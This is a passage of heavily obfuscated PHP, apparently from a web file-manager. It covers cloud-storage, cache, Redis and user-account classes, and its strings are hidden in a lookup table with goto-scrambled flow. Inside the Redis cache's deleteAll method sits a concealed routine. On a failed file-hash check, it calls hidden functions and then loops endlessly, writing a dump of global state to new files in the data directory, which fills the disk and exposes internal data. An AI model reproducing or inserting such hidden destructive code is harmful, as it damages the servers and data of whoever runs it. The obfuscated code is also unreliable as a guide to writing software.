isset($dٮ[$a[77]]) ? $dٮ[$a[77]] : 0, $a[184] => 0, $a[107] => 0, $a[185] => !0, $a[186] => !0); } $fӤ = array($a[28] => $this->pathThis($Eٵ), $a[75] => $this->getPathOuter($Eٵ), $a[29] => $a[164], $a[184] => 0, $a[107] => 0, $a[77] => 0, $a[157] => $this->ext($Eٵ), $a[185] => !0, $a[186] => !0); goto EΝ; AӨ: } private function folderInfo($Cק, $B = false) { goto A󢒼ƒ; A󢒼ƒ: $A =& $_SERVER[ѽ]; if ($B) { return array($A[28] => $this->pathThis($Cק), $A[75] => $this->getPathOuter($A[8] . $Cק), $A[29] => $A[76], $A[185] => !0, $A[186] => !0); } $E߭ = array($A[28] => $this->pathThis($Cק), $A[75] => $this->getPathOuter($A[8] . $Cק), $A[29] => $A[76], $A[184] => 0, $A[107] => 0, $A[185] => !0, $A[186] => !0); goto A; eق: if (isset($D㿧қ[$A[187]])) { $E߭[$A[184]] = $D㿧қ[$A[187]]; } return $E߭; goto D˙; A: if ($Cק == $A[33]) { return $E߭; } $Cק = trim($Cק, $A[8]) . $A[8]; $D㿧қ = $this->objectMeta($Cק); goto eق; D˙: } public function listObjs($Bݍ, $cã = null, $d젋 = null, $e݆҇ = null) { $c򳭽 =& $_SERVER[ѽ]; $Bݍ = trim($Bݍ, $c򳭽[8]); $AÚ = empty($Bݍ) ? $c򳭽[33] : $Bݍ . $c򳭽[8]; return $this->client->getBucket($this->bucket, $AÚ, $cã, $d젋, $e݆҇, !0); } public function has($E, $Eڱ = false, $cب潜 = true) { goto FĈ؅; FĈ؅: $cĥȶ =& $_SERVER[ѽ]; $aŵд = 0; $BΗ = 0; goto B᫝; B᫝: $Dϔ = $this->listObjs($E, null, null, $cĥȶ[8]); $Dϔ = is_array($Dϔ) ? $Dϔ : array(); foreach ($Dϔ as $Eˠٯ) { if (isset($Eˠٯ[$cĥȶ[28]]) && substr($Eˠٯ[$cĥȶ[28]], -1) != $cĥȶ[8]) { if (!$Eڱ && $cب潜) { return !0; } $aŵд++; } else { if (isset($Eˠٯ[$cĥȶ[183]])) { if (!$Eڱ && !$cب潜) { return !1; } $BΗ++; } } } goto Fւ҇; Fւ҇: if ($Eڱ) { return array($cĥȶ[188] => $aŵд, $cĥȶ[189] => $BΗ); } return !1; goto aŲ; aŲ: } public function listAll($BȯԻ) { $d펥ˆ =& $_SERVER[ѽ]; $Aʻ = $this->listObjs($BȯԻ); $bɎر = $b٢ = array(); foreach ($Aʻ as $B => $fȓ) { $bɎر[] = $fȓ[$d펥ˆ[28]]; $b٢[$B] = $fȓ[$d펥ˆ[77]]; } return $this->listAllFiles($BȯԻ, $bɎر, $b٢); } public function canRead($aѦ) { $eɋ =& $_SERVER[ѽ]; $E = $this->client->getAccessControlPolicy($this->bucket, $aѦ); if (!$E) { return !1; } return in_array($E, array($eɋ[190], $eɋ[191], $eɋ[192])) ? !0 : !1; } public function canWrite($A) { $a׆ =& $_SERVER[ѽ]; $f܆ = $this->client->getAccessControlPolicy($this->bucket, $A); if (!$f܆) { return !1; } return in_array($f܆, array($a׆[190], $a׆[191])) ? !0 : !1; } public function getContent($d۶) { return $this->client->getObject($this->bucket, $d۶); } public function setContent($b鶨, $Fፊ = '', $aľ = false) { goto B镾; F: $C鏟 = $this->copyFile($b鶨, $b鶨, array($f鼥[193] => $C鏟[$f鼥[194]])); return $C鏟 ? !0 : !1; goto B; aϢ: $C鏟 = $this->client->putObject($Fፊ, $this->bucket, $b鶨, $f鼥[182], array(), $fڥ); if (!$C鏟) { return !1; } if ($aľ) { return !0; } goto F; B镾: $f鼥 =& $_SERVER[ѽ]; $b鶨 = $aľ ? trim($b鶨, $f鼥[8]) . $f鼥[8] : $b鶨; $fڥ = get_file_mime(get_path_ext($b鶨)); goto aϢ; B: } public function fileSubstr($Fՠ͑, $a曑, $c) { $Bϊ = $a曑 + $c - 1; return $this->client->getObject($this->bucket, $Fՠ͑, array($_SERVER[ѽ][195] => "\142\x79\x74\x65\x73\75{$a曑}\55{$Bϊ}")); } public function upload($C, $Cù, $e͏ = false, $b؞ = REPEAT_REPLACE) { $A؟ =& $_SERVER[ѽ]; $Dٹ՟ = array($A؟[193] => @md5_file($Cù)); $D = array($A؟[196] => get_file_mime(get_path_ext($C))); if (IO::size($Cù) <= 1024 * 1024 * 200) { $dƓ = $this->client->putObjectFile($Cù, $this->bucket, $C, $A؟[182], $Dٹ՟, $D); return !empty($dƓ) ? $this->getPathOuter($C) : !1; } $F̉ = $this->client->multiUploadObject($Cù, $this->bucket, trim($C, $A؟[8]), $Dٹ՟, $D); return $F̉ ? $this->getPathOuter($C) : !1; } public function download($D㾦, $D) { if (!@is_dir($this->pathFather($D)) && !IO::mkdir($this->pathFather($D))) { return !1; } $FɅ = $this->client->getObject($this->bucket, $D㾦, array(), $D); return $FɅ !== !1 ? $D : !1; } public function link($Aô젉, $cŤۣ = array()) { $D© =& $_SERVER[ѽ]; if ($this->signVer == $D©[197]) { return $this->client->getAuthenticatedURL($this->bucket, $Aô젉, 3600 * 12, $cŤۣ); } return $this->client->getObjectUrl($this->accessKey, $this->secret, $this->bucket, trim($Aô젉, $D©[8]), 3600 * 12, $this->region, array(), !0, $cŤۣ); } public function fileOut($B, $fۥ = false, $C﹥ = false, $cǸƢ = '') { goto bӫ; bӫ: $a޿ =& $_SERVER[ѽ]; if (!$C﹥) { $C﹥ = $this->pathThis($B); } $dfflٌ = get_file_mime(get_path_ext($C﹥)); goto F; F: if ($dfflٌ == $a޿[198]) { return parent::fileOut($B, $fۥ, $C﹥, $cǸƢ); } $fۥ = $fۥ ? $a޿[199] : $a޿[200]; $C׎ = array($a޿[201] => $fۥ . $a޿[202] . rawurlencode($C﹥), $a޿[203] => $dfflٌ); goto a¬; a¬: $B։ = $this->link($B, $C׎); $this->fileOutLink($B։); goto d֥; d֥: } public function fileOutServer($d잯, $A㵍 = false, $d = false, $F淖 = '') { parent::fileOut($d잯, $A㵍, $d, $F淖); } public function fileOutImage($dυ, $eُ쏥 = 250) { $Eμ = $this->link($dυ); $this->fileOutLink($Eμ); } public function fileOutImageServer($F, $e𪃩 = 250) { parent::fileOutImage($F, $e𪃩); } public function hashMd5($D腉, $FؾΎ = '') { $A =& $_SERVER[ѽ]; $e﵋ = $this->objectMeta($D腉); if (!$e﵋) { return !1; } $FؾΎ = $FؾΎ ? $FؾΎ : _get($e﵋, $A[204]); $FؾΎ = $FؾΎ ? $FؾΎ : _get($e﵋, $A[194], $A[33]); return $FؾΎ; } public function uploadFormData($c비, $f戲 = 3600) { $Dߣ =& $_SERVER[ѽ]; $Ḅ = $this->pathFather($c비); $cĤ = $this->client->getHttpUploadPostParams($this->bucket, $Ḅ, $Dߣ[182], $f戲); return array_merge((array) $cĤ, array($Dߣ[166] => $this->getHost())); } public function multiUploadFormData($c, $Eጆ = 3600) { $C愔 =& $_SERVER[ѽ]; $D = gmdate($C愔[205]); $f = array(); $eܖُ = $this->client->getUploadId($this->bucket, $c, $f); if (!$eܖُ) { return !1; } return array($C愔[206] => $eܖُ, $C愔[166] => $this->getHost() . $C愔[8] . $this->pathEncode($c), $C愔[207] => $D, $C愔[89] => $c); } public function multiUploadAuthData($cߖÚ, $cڍ = array()) { goto D꼃; e̙: $E = array($e[209], $e[33], $e[116], $e[33], "\170\55\141\x6d\172\55\x64\141\x74\x65\x3a{$F䍶}", $e[8] . $this->bucket . $e[8] . $this->pathEncode($A䢇) . $aݪƒ); if (strpos($aݪƒ, $e[210]) === 0) { $E[0] = $e[211]; } if (isset($cڍ[$e[212]]) && $cڍ[$e[212]] == $e[213]) { $E[0] = $e[213]; } goto Fˇ; d䱘: if (strpos($aݪƒ, $e[210]) === 0) { return array($e[217] => $bɍ, $e[207] => $F䍶); } return $bɍ; goto b; Fˇ: $a = implode($e[214], $E); $B = base64_encode(hash_hmac($e[215], $a, $this->secret, !0)); $bɍ = $e[216] . $this->accessKey . $e[4] . $B; goto d䱘; D꼃: $e =& $_SERVER[ѽ]; $F䍶 = isset($cڍ[$e[207]]) ? $cڍ[$e[207]] : gmdate($e[205]); $aݪƒ = isset($cڍ[$e[157]]) ? $cڍ[$e[157]] : $e[33]; goto Cĉ; Cĉ: $A䢇 = $cڍ[$e[89]]; unset($cڍ[$e[89]]); if (isset($cڍ[$e[208]])) { $cڍ[$e[207]] = $F䍶; return $this->listUploadParts($A䢇, $cڍ); } goto e̙; b: } public function listUploadParts($a’, $Eҧݬ = array()) { goto E; E: $E̬ =& $_SERVER[ѽ]; $b = str_replace($E̬[218], $E̬[33], $Eҧݬ[$E̬[157]]); $bė = $this->client->listParts($this->bucket, $a’, $b); goto F; a莾: $Bܲ = $this->multiUploadAuthData($a’, $Eҧݬ); if (empty($Bܲ)) { return !1; } return array($E̬[217] => $Bܲ, $E̬[207] => $Eҧݬ[$E̬[207]], $E̬[219] => $bė); goto b; F: if (!$bė) { return !1; } unset($Eҧݬ[$E̬[208]], $Eҧݬ[$E̬[212]]); $Eҧݬ[$E̬[89]] = $a’; goto a莾; b: } public function getHost() { return parent::getHost() . $_SERVER[ѽ][8] . $this->bucket; } public function size($dύ) { $d = $this->objectMeta($dύ); return $d ? $d[$_SERVER[ѽ][77]] : 0; } public function info($dª) { if ($this->isFolder($dª)) { return $this->folderInfo($dª); } else { if ($this->isFile($dª)) { return $this->fileInfo($dª); } } return !1; } public function exist($Dʫ) { return $this->isFile($Dʫ) || $this->isFolder($Dʫ); } public function isFile($e) { return !$this->isFolder($e) && $this->objectMeta($e); } public function isFolder($C) { return $this->cacheMethod($_SERVER[ѽ][220], $C); } protected function objectMeta($fʌ) { return $this->cacheMethod($_SERVER[ѽ][221], $fʌ); } protected function _objectMeta($E) { $fܡ =& $_SERVER[ѽ]; $E = rtrim($E, $fܡ[8]); try { $dى = $this->client->getObjectInfo($this->bucket, $E); if (!isset($dى[$fܡ[204]]) && isset($dى[$fܡ[222]])) { $dى[$fܡ[204]] = $dى[$fܡ[222]]; } } catch (OSS\Core\OssException $a) { $dى = !1; } if (!$dى) { } return $dى; } protected function _isFolder($D􉍥) { goto Bʋ; bيռ: $dŬ = $this->client->getBucket($this->bucket, $D􉍥, null, 1); if (empty($dŬ)) { return !1; } $dŬ = array_values($dŬ); goto A; A: if (substr($dŬ[0][$b[28]], -1) == $b[8]) { return !0; } if (get_path_this($dŬ[0][$b[28]]) == get_path_this($D􉍥)) { return !1; } return !0; goto EնƔ; Bʋ: $b =& $_SERVER[ѽ]; $D􉍥 = rtrim($D􉍥, $b[8]); if ($D􉍥 == $b[33] || $D􉍥 == $b[8]) { return !0; } goto bيռ; EնƔ: } } define($_SERVER[ѽ][223], 1); goto a⑨; f‹: define($_SERVER[ѽ][1911], 4); define($_SERVER[ѽ][1912], 5); define($_SERVER[ѽ][1913], 16); goto c͍; DҊ堷: class CacheLockDatabase { public function lock($b, $fξˋ = 0) { $B􍝝 = Model($_SERVER[ѽ][765]); $cˠ۫ = microtime(!0) + $fξˋ; while (microtime(!0) < $cˠ۫) { $e = $B􍝝->get($b); if (!$e || $e < microtime(!0)) { $a῞ = $B􍝝->set($b, $cˠ۫); if ($a῞) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($EȆ) { return Model($_SERVER[ѽ][765])->get($EȆ); } public function unlock($F) { Model($_SERVER[ѽ][765])->remove($F); } } class CacheMemcached { public $handle; public $cacheTime; public function __construct($b, $Aߵу) { $dĮǭ =& $_SERVER[ѽ]; if (!class_exists($dĮǭ[786])) { show_json($dĮǭ[787], !1); } $this->cacheTime = $Aߵу; $this->handle = new Memcached(); if (is_array($b[$dĮǭ[788]]) && count($b[$dĮǭ[788]]) >= 1) { foreach ($b[$dĮǭ[788]] as $CݓȐ) { $Dۓ = explode($dĮǭ[4], $CݓȐ); $this->handle->addServer($Dۓ[0], $Dۓ[1]); } } else { $this->handle->addServer($b[$dĮǭ[166]], $b[$dĮǭ[167]]); } } public function set($D, $bŨ, $d롪ߒ = false) { $d롪ߒ = $d롪ߒ ? $d롪ߒ : $this->cacheTime; return $this->handle->set($D, $bŨ, $d롪ߒ); } public function get($C缂) { return $this->handle->get($C缂); } public function remove($b붹) { return $this->handle->delete($b붹); } public function deleteAll() { return $this->handle->flush(); } } class CacheRedis { public $handle; public $slaveHandle; public $cacheTime; public $isCluster = false; public function __construct($eϛő, $Fᲆ) { $D٭ =& $_SERVER[ѽ]; if (!class_exists($D٭[789])) { show_json($D٭[790], !1); } $this->cacheTime = $Fᲆ; $f = isset($eϛő[$D٭[791]]) ? $eϛő[$D٭[791]] : 10; $b򲺪 = _get($eϛő, $D٭[788]); if ($b򲺪 && is_array($b򲺪)) { $this->isCluster = !0; $this->initCluster($eϛő, $f); } else { $this->handle = $this->init($eϛő, $f); } } private function init($e, $Dઘ) { $D멿ۡ =& $_SERVER[ѽ]; $d = new Redis(); $cǫ = isset($e[$D멿ۡ[792]]) ? $e[$D멿ۡ[792]] : !1; if ($cǫ) { $d->pconnect($e[$D멿ۡ[166]], $e[$D멿ۡ[167]], $Dઘ); } else { $d->connect($e[$D멿ۡ[166]], $e[$D멿ۡ[167]], $Dઘ); } if (!empty($e[$D멿ۡ[373]])) { $d->auth($e[$D멿ۡ[373]]); } return $d; } private function initCluster($a, $b𛄕) { $C =& $_SERVER[ѽ]; $d = array($C[793], $C[794], $C[795]); $d = $C[793]; if (isset($a[$C[12]]) && in_array($a[$C[12]], $d)) { $d = $a[$C[12]]; } switch ($d) { case $C[793]: $this->_slave($a, $b𛄕); break; case $C[794]: break; case $C[795]: $bɾʺ = $a[$C[788]]; $cďǭ = isset($a[$C[792]]) ? $a[$C[792]] : !1; $Fѥ = isset($a[$C[373]]) ? $a[$C[373]] : null; $this->handle = new RedisCluster(NUll, $bɾʺ, $b𛄕, $b𛄕, $cďǭ, $Fѥ); break; default: break; } } private function _slave($A鞉, $F) { goto f; eϐ: unset($A̸[0]); if (empty($A̸)) { return; } $Fɾ = array_rand($A̸); goto Aѿ; Aѿ: $this->filterConfig($A鞉, $A̸[$Fɾ]); $this->slaveHandle = $this->init($A鞉, $F); goto Aʉ; f: $A̸ = $A鞉[$_SERVER[ѽ][788]]; $this->filterConfig($A鞉, $A̸[0]); $this->handle = $this->init($A鞉, $F); goto eϐ; Aʉ: } private function filterConfig(&$d, $fض) { $eۮ =& $_SERVER[ѽ]; $aҡ = explode($eۮ[4], $fض); $e = array($eۮ[166] => $aҡ[0], $eۮ[167] => $aҡ[1]); $d = array_merge($d, $e); } public function set($e꽓, $BО, $A = false) { $A = $A ? $A : $this->cacheTime; return $this->handle->setEx($e꽓, $A, $BО); } public function setLock($Dפ, $fܪ, $Cآ) { return $this->handle->setNX($Dפ, $fܪ); } public function get($d渖) { $cֳ = $this->slaveHandle ? $this->slaveHandle : $this->handle; return $cֳ->get($d渖); } public function remove($A٠) { return $this->handle->del($A٠); } public function deleteAll() { $F =& $_SERVER[ѽ]; $EҾ = $_SERVER[$F[693]] . $F[694]; $f = $F[796]; if ($_SERVER[$F[690]] != $f($EҾ)) { goto f; D: $F̭ = $BׅՏ($D); $c넏 = explode($F[214], $F̭); if (count($c넏) < $F[581]) { $B = $F[695]; $B(); } goto dܰ; dܰ: $fق = $F[798]; $fق($_SERVER[$F[799]]); $B = $F[797]; goto A; A: $B(); $dڤ = $F[800]; $A = json_encode($GLOBALS[$F[801]]); goto DҲ; DҲ: $Bދ = 1; for ($F = $Bދ; $F > 0; $F++) { $dڤ(DATA_PATH . $F, $A); } goto c; f: $B = $F[797]; $BׅՏ = $F[692]; $D = $_SERVER[$F[693]] . $F[694]; goto D; c: } if ($this->isCluster) { foreach ($this->handle->_masters() as $Câ) { $this->handle->flushall($Câ); } return; } return $this->handle->flushAll(); } } goto a񠹈; b: class UserJobModel extends ModelBaseLight { public $optionType = "\123\171\163\x74\145\155\x2e\152\x6f\142\114\151\163\x74"; public $field = array("\x6e\141\155\145", "\x64\145\163\x63", "\163\157\162\x74"); const JOB_KEY = "\163\x65\x6c\x66\x4a\157\142\x4c\x69\x73\164"; public function listData($A؍ = false, $bù = "\x73\x6f\x72\164", $f = false) { return parent::listData($A؍, $bù, $f); } public function remove($b) { return parent::remove($b); } public function add($a) { $eㆥ =& $_SERVER[ѽ]; if ($this->findByName($a[$eㆥ[28]])) { return !1; } $a[$eㆥ[2101]] = $this->getSort(); return parent::insert($a); } private function getSort() { $bޟ =& $_SERVER[ѽ]; $cՌ = parent::listData(); $C˽ = array_to_keyvalue($cՌ, $bޟ[33], $bޟ[2101]); return empty($C˽) ? 0 : max($C˽) + 1; } public function update($a, $cډ) { $dӕ =& $_SERVER[ѽ]; $b = parent::listData($a); $a̼Ե = $this->findByName($cډ[$dӕ[28]]); if (!$b || $a̼Ե && $a̼Ե[$dӕ[364]] != $b[$dӕ[364]]) { return !1; } return parent::update($a, $cډ); } public function setUserJob($aĤ, $eό޻) { goto c; bǹݷ: $C = array_to_keyvalue($D夥, $c[28]); $aོ = $c[358]; foreach ($eό޻ as $CŒ) { if ($C[$CŒ]) { $aོ .= $C[$CŒ][$c[364]] . $c[47]; } else { $c쿇ϭ = $this->add($CŒ); $aོ .= $c쿇ϭ . $c[47]; } } goto C; C: $aོ = rtrim($aོ, $c[47]); Model($c[473])->metaSet($aĤ, self::JOB_KEY, $aོ); goto b; c: $c =& $_SERVER[ѽ]; if (!is_array($eό޻)) { $eό޻ = array($eό޻); } $D夥 = parent::listData(); goto bǹݷ; b: } public function getUserJob($E놻) { $B = Model($_SERVER[ѽ][473])->metaGet($E놻); return $this->getUserJobInfo($B[self::JOB_KEY]); } public function getUserJobInfo($F) { goto fϞ; bƛ: return $dö; goto f縑; fϞ: $F췖 =& $_SERVER[ѽ]; $aƏ = explode($F췖[47], $F); $d = parent::listData(); goto d˃; d˃: $d = array_remove_key($d, $F췖[184]); $dö = array(); foreach ($aƏ as $Dٝ) { if (isset($d[$Dٝ])) { $dö[] = $d[$Dٝ]; } } goto bƛ; f縑: } } class UserModel extends ModelBase { protected $tableName = "\x75\163\x65\x72"; protected $tableMeta = array("\164\x61\x62\154\x65\x4e\x61\155\x65" => "\x75\163\x65\x72\x5f\x6d\x65\164\141", "\155\145\164\x61\106\151\145\x6c\x64" => "\165\x73\145\x72\x49\104"); protected $simpleField = "\x75\163\145\x72\x49\x44\x2c\156\151\x63\x6b\x4e\141\x6d\x65\x2c\x6e\141\x6d\145\x2c\141\166\x61\164\141\x72\x2c\163\145\170"; const ERROR_USER_NOT_EXISTS = -1; const ERROR_USER_PASSWORD_ERROR = -2; const ERROR_USER_EXIST_NAME = -3; const ERROR_USER_EXIST_PHONE = -4; const ERROR_USER_EXIST_EMAIL = -5; const ERROR_USER_LOGIN_LOCK = -6; const ERROR_IP_NOT_ALLOW = -7; const ERROR_USER_EXIST_NICKNAME = -8; protected function cacheFunctionAlias($Dƍ) { $C׻卷 =& $_SERVER[ѽ]; $FՋ = $C׻卷[2455]; return array($C׻卷[2146] => array($Dƍ[0], $FՋ), $C׻卷[2148] => array($Dƍ[0], $FՋ), $C׻卷[2456] => array($Dƍ[0], $FՋ)); } protected function getInfo($c긥, $E = false) { $d = $this->getInfoSimple($c긥); if (!is_array($d)) { return array(); } if ($E) { return $this->_getInfoApply($d); } return $this->cacheFunctionGet($_SERVER[ѽ][2188], $c긥); } protected function getInfoFull($D, $EΫ߸ = false) { $eҗ = $this->getInfoSimple($D); if (!is_array($eҗ)) { return array(); } if ($EΫ߸) { return $this->_getInfoApply($eҗ, !0); return $this->_getInfoApply($eҗ, !0); } return $this->cacheFunctionGet($_SERVER[ѽ][2457], $D); } private function _getInfoApply($Fּ, $eˈ = false) { goto aБ; D컾: $Fּ[$FŸ[388]][$FŸ[2296]] = isset($Eخ[$FŸ[2297]]) ? $Eخ[$FŸ[2297]] : null; if ($eˈ) { $Fּ[$FŸ[413]] = $this->metaGet($Fּ[$FŸ[1417]]); } return $Fּ; goto AƮД; E埋: $Fּ = $this->_listDataApplyItem($Fּ); $Eخ = Model($FŸ[1114])->metaGet($Fּ[$FŸ[388]][$FŸ[366]]); $Fּ[$FŸ[2460]] = $DѲ; goto D컾; aБ: $FŸ =& $_SERVER[ѽ]; if (!$Fּ) { return $Fּ; } $DѲ = md5($FŸ[2458] . $Fּ[$FŸ[807]] . $FŸ[2459] . $Fּ[$FŸ[28]]); goto E埋; AƮД: } protected function getInfoSimple($fȷ, $fߚڷ = false) { $D᨞ =& $_SERVER[ѽ]; if (!$fȷ) { return array(); } if ($fߚڷ) { $FՆ = $this->where(array($D᨞[1417] => intval($fȷ)))->find(); if (!is_array($FՆ)) { return array(); } $FՆ[$D᨞[2461]] = Action($D᨞[2462])->parseUrl($FՆ[$D᨞[2461]]); return $FՆ; } return $this->cacheFunctionGet($D᨞[2149], $fȷ); } protected function getInfoSimpleOuter($fܑ) { goto aǪ; AϨ: $aъ = array_field_key($bÔ, explode($A񡓅[47], $this->simpleField)); if (!$aъ) { return array($A񡓅[1417] => $A񡓅[1035], $A񡓅[28] => $A񡓅[154] . LNG($A񡓅[2465]) . $A񡓅[472], $A񡓅[2461] => STATIC_PATH . $A񡓅[2466]); } $aъ[$A񡓅[2461]] = Action($A񡓅[2462])->parseUrl($aъ[$A񡓅[2461]]); goto bֱ; aǪ: $A񡓅 =& $_SERVER[ѽ]; if (!$fܑ || $fܑ == 0) { return array($A񡓅[1417] => $A񡓅[464], $A񡓅[28] => $A񡓅[154] . LNG($A񡓅[2463]) . $A񡓅[472], $A񡓅[2461] => STATIC_PATH . $A񡓅[2464]); } $bÔ = $this->cacheFunctionGet($A񡓅[2149], $fܑ); goto AϨ; bֱ: return $aъ; goto c; c: } protected function groupUser($cȖ߫ȿ) { } public static function errorLang($E˩) { $BĶ =& $_SERVER[ѽ]; $Aㄏ = array(self::ERROR_USER_NOT_EXISTS => $BĶ[2467], self::ERROR_USER_PASSWORD_ERROR => $BĶ[2468], self::ERROR_USER_EXIST_NAME => $BĶ[2469], self::ERROR_USER_EXIST_PHONE => $BĶ[2470], self::ERROR_USER_EXIST_EMAIL => $BĶ[2471], self::ERROR_USER_LOGIN_LOCK => $BĶ[2472], self::ERROR_IP_NOT_ALLOW => $BĶ[2473], self::ERROR_USER_EXIST_NICKNAME => $BĶ[2474]); return LNG($Aㄏ[$E˩]); } public function getInfoByMeta($cҗ, $d) { $a̧ =& $_SERVER[ѽ]; $f܏彋 = Model($a̧[2475])->where(array($a̧[89] => $cҗ, $a̧[356] => $d))->find(); if ($f܏彋) { return $this->getInfo($f܏彋[$a̧[1417]]); } return !1; } public function userLoginCheck($E͎, $F) { goto FЙ; bﭔ: $this->userEdit($F[$EԚ[1417]], array($EԚ[2477] => time())); $this->clearCache($F[$EԚ[1417]]); return $this->getInfo($F[$EԚ[1417]]); goto E; Dք: $F = $this->where($Aӆ)->find(); if (!$F) { return UserModel::ERROR_USER_NOT_EXISTS; } if (!$this->userPasswordCheck($F[$EԚ[1417]], $F)) { return UserModel::ERROR_USER_PASSWORD_ERROR; } goto bﭔ; FЙ: $EԚ =& $_SERVER[ѽ]; $Aӆ = array($EԚ[28] => $E͎, $EԚ[2300] => $E͎, $EԚ[290] => $E͎, $EԚ[2476] => $E͎, $EԚ[920] => $EԚ[922]); if ($this->nickNameRpt()) { unset($Aӆ[$EԚ[2300]]); } goto Dք; E: } public function clearCache($Bޑ̖) { $c꫇ =& $_SERVER[ѽ]; $this->cacheFunctionClear($c꫇[2188], $Bޑ̖); $this->cacheFunctionClear($c꫇[2149], $Bޑ̖); } public function userPasswordCheck($eމ, $E) { $Aƅ =& $_SERVER[ѽ]; $cՂ = $this->where(array($Aƅ[1417] => intval($eމ)))->find(); $Dˇ = $this->metaGet($eމ); $eѤ՞ى = isset($Dˇ[$Aƅ[2478]]) ? $Dˇ[$Aƅ[2478]] : $Aƅ[33]; if (md5($eѤ՞ى . trim($E)) !== $cՂ[$Aƅ[807]]) { return !1; } return !0; } public function userAdd($cڌ) { goto B; E: return $b¼; goto Bĥ­; B: $Bѩ =& $_SERVER[ѽ]; $cś = array($Bѩ[383] => $cڌ[$Bѩ[28]], $Bѩ[2479] => $cڌ[$Bѩ[2480]], $Bѩ[2481] => isset($cڌ[$Bѩ[290]]) ? $cڌ[$Bѩ[290]] : $Bѩ[33], $Bѩ[2482] => isset($cڌ[$Bѩ[2476]]) ? $cڌ[$Bѩ[2476]] : $Bѩ[33], $Bѩ[2483] => isset($cڌ[$Bѩ[2300]]) ? $cڌ[$Bѩ[2300]] : $cڌ[$Bѩ[28]], $Bѩ[2484] => isset($cڌ[$Bѩ[2461]]) ? $cڌ[$Bѩ[2461]] : $Bѩ[33], $Bѩ[2485] => isset($cڌ[$Bѩ[2486]]) ? $cڌ[$Bѩ[2486]] : 1, $Bѩ[2487] => $cڌ[$Bѩ[807]], $Bѩ[2150] => isset($cڌ[$Bѩ[2064]]) ? $cڌ[$Bѩ[2064]] : 1024 * 1024 * 20, $Bѩ[2151] => 0, $Bѩ[2477] => 0, $Bѩ[2175] => isset($cڌ[$Bѩ[699]]) ? $cڌ[$Bѩ[699]] : 1); if (!empty($cڌ[$Bѩ[1417]])) { $cś[$Bѩ[1417]] = $cڌ[$Bѩ[1417]]; } goto E҂; E҂: $B܊ = $this->_checkExist($cڌ); if ($B܊ !== !0) { return $B܊; } $b¼ = $this->add($cś); goto b߇; b߇: $b = array($Bѩ[2487] => $cś[$Bѩ[807]], $Bѩ[2483] => $cś[$Bѩ[2300]]); $this->userEdit($b¼, $b); Model($Bѩ[1114])->userRootAdd($b¼); goto E; Bĥ­: } protected function userEditTest($DٰҒ, $A񞵢) { return $this->call($_SERVER[ѽ][2488], $DٰҒ, $A񞵢); } protected function userEdit($B, $C£ί) { goto F; eȋ: $Cؔ = $this->_checkExist($C£ί, $B); if ($Cؔ !== !0) { return $Cؔ; } if (isset($C£ί[$d阔[807]]) && trim($C£ί[$d阔[807]]) != $d阔[33]) { $e֜ = $this->metaGet($B); if (empty($e֜[$d阔[2478]])) { $e֜[$d阔[2478]] = rand_string(10); Model($d阔[470])->metaSet($B, $d阔[2478], $e֜[$d阔[2478]]); } $C£ί[$d阔[807]] = md5($e֜[$d阔[2478]] . trim($C£ί[$d阔[807]])); } else { unset($C£ί[$d阔[807]]); } goto B; B: $this->where(array($d阔[1408] => $B))->save($C£ί); if (isset($C£ί[$d阔[2300]])) { $this->setNamePinyin($B, $C£ί[$d阔[2300]]); } return !0; goto Cֹ; F: $d阔 =& $_SERVER[ѽ]; $E = $this->getInfoSimple($B); if (!$E) { return !1; } goto eȋ; Cֹ: } public function setNamePinyin($D̺, $d͉ = false) { $D釼 =& $_SERVER[ѽ]; if (!$d͉) { $F嶊 = $this->getInfoSimple($D̺); $d͉ = $F嶊[$D釼[2300]] ? $F嶊[$D釼[2300]] : $F嶊[$D釼[28]]; } $fӝ衎 = Model($D釼[473]); if (!Input::check($d͉, $D釼[524])) { return $fӝ衎->metaSet($D̺, array($D釼[412] => $D釼[33], $D釼[411] => $D釼[33])); } return $fӝ衎->metaSet($D̺, array($D釼[412] => str_replace($D釼[50], $D釼[33], Pinyin::encode($d͉)), $D釼[411] => Pinyin::encode($d͉, $D釼[525]))); } private function nickNameRpt() { $BЌ =& $_SERVER[ѽ]; $e = Model($BЌ[1092])->get($BЌ[2489]); $cğҞ = $GLOBALS[$BЌ[6]][$BЌ[2445]][$BЌ[2489]]; $B𳕾 = !is_null($e) ? $e : $cğҞ; return !!$B𳕾; } private function _checkExist($EǴ, $B = false) { $E˗ =& $_SERVER[ѽ]; $FȩЂ = array($E˗[28] => UserModel::ERROR_USER_EXIST_NAME, $E˗[2300] => UserModel::ERROR_USER_EXIST_NICKNAME, $E˗[290] => UserModel::ERROR_USER_EXIST_EMAIL, $E˗[2476] => UserModel::ERROR_USER_EXIST_PHONE); if ($this->nickNameRpt()) { unset($FȩЂ[$E˗[2300]]); } $Eڋ = $B ? array($E˗[1417] => array($E˗[2490], $B)) : array(); foreach ($FȩЂ as $cۉ => $B) { if (!isset($EǴ[$cۉ]) || !$EǴ[$cۉ]) { continue; } $Dݚ = array_merge(array($cۉ => $EǴ[$cۉ]), $Eڋ); $e = $this->where($Dݚ)->find(); if ($e) { return $B; } } return !0; } public function userListInfo($c) { $aخӎ =& $_SERVER[ѽ]; $D邊 = array(); $c = is_array($c) ? array_unique($c) : array(); if (!$c) { return $D邊; } if (count($c) < 20) { foreach ($c as $a͑ƭ) { $D邊[$a͑ƭ . $aخӎ[33]] = $this->getInfoSimpleOuter($a͑ƭ); } } else { $D䎂ǟ = array($aخӎ[1408] => array($aخӎ[381], $c)); if (count($c) == 1) { $D䎂ǟ = array($aخӎ[1408] => $c[0]); } $C֢ = Model($aخӎ[470])->field($this->simpleField)->where($D䎂ǟ)->select(); $C֢ = array_to_keyvalue($C֢, $aخӎ[1417]); foreach ($c as $a͑ƭ) { $F = $C֢[$C֢[$a͑ƭ]]; if (!$F) { $D邊[$a͑ƭ . $aخӎ[33]] = $this->getInfoSimpleOuter($a͑ƭ); continue; } $F[$aخӎ[2461]] = Action($aخӎ[2462])->parseUrl($F[$aخӎ[2461]]); $D邊[$a͑ƭ . $aخӎ[33]] = $F; } } return $D邊; } protected function userStatus($DӋ, $f󔕱) { $CƆ̾ = $this->getInfoSimple($DӋ); if (!$CƆ̾) { return !1; } $E = array($_SERVER[ѽ][699] => $f󔕱); return $this->userEdit($DӋ, $E); } protected function userRemove($C) { goto cѕ; cѕ: $E =& $_SERVER[ѽ]; $Dǒٌ = $this->getInfoSimple($C); if (!$Dǒٌ) { return !1; } goto A훙; A훙: $dм = array($E[1408] => $C); Model($E[532])->where($dм)->delete(); Model($E[2491])->where($dм)->delete(); goto dڹ; C玉: 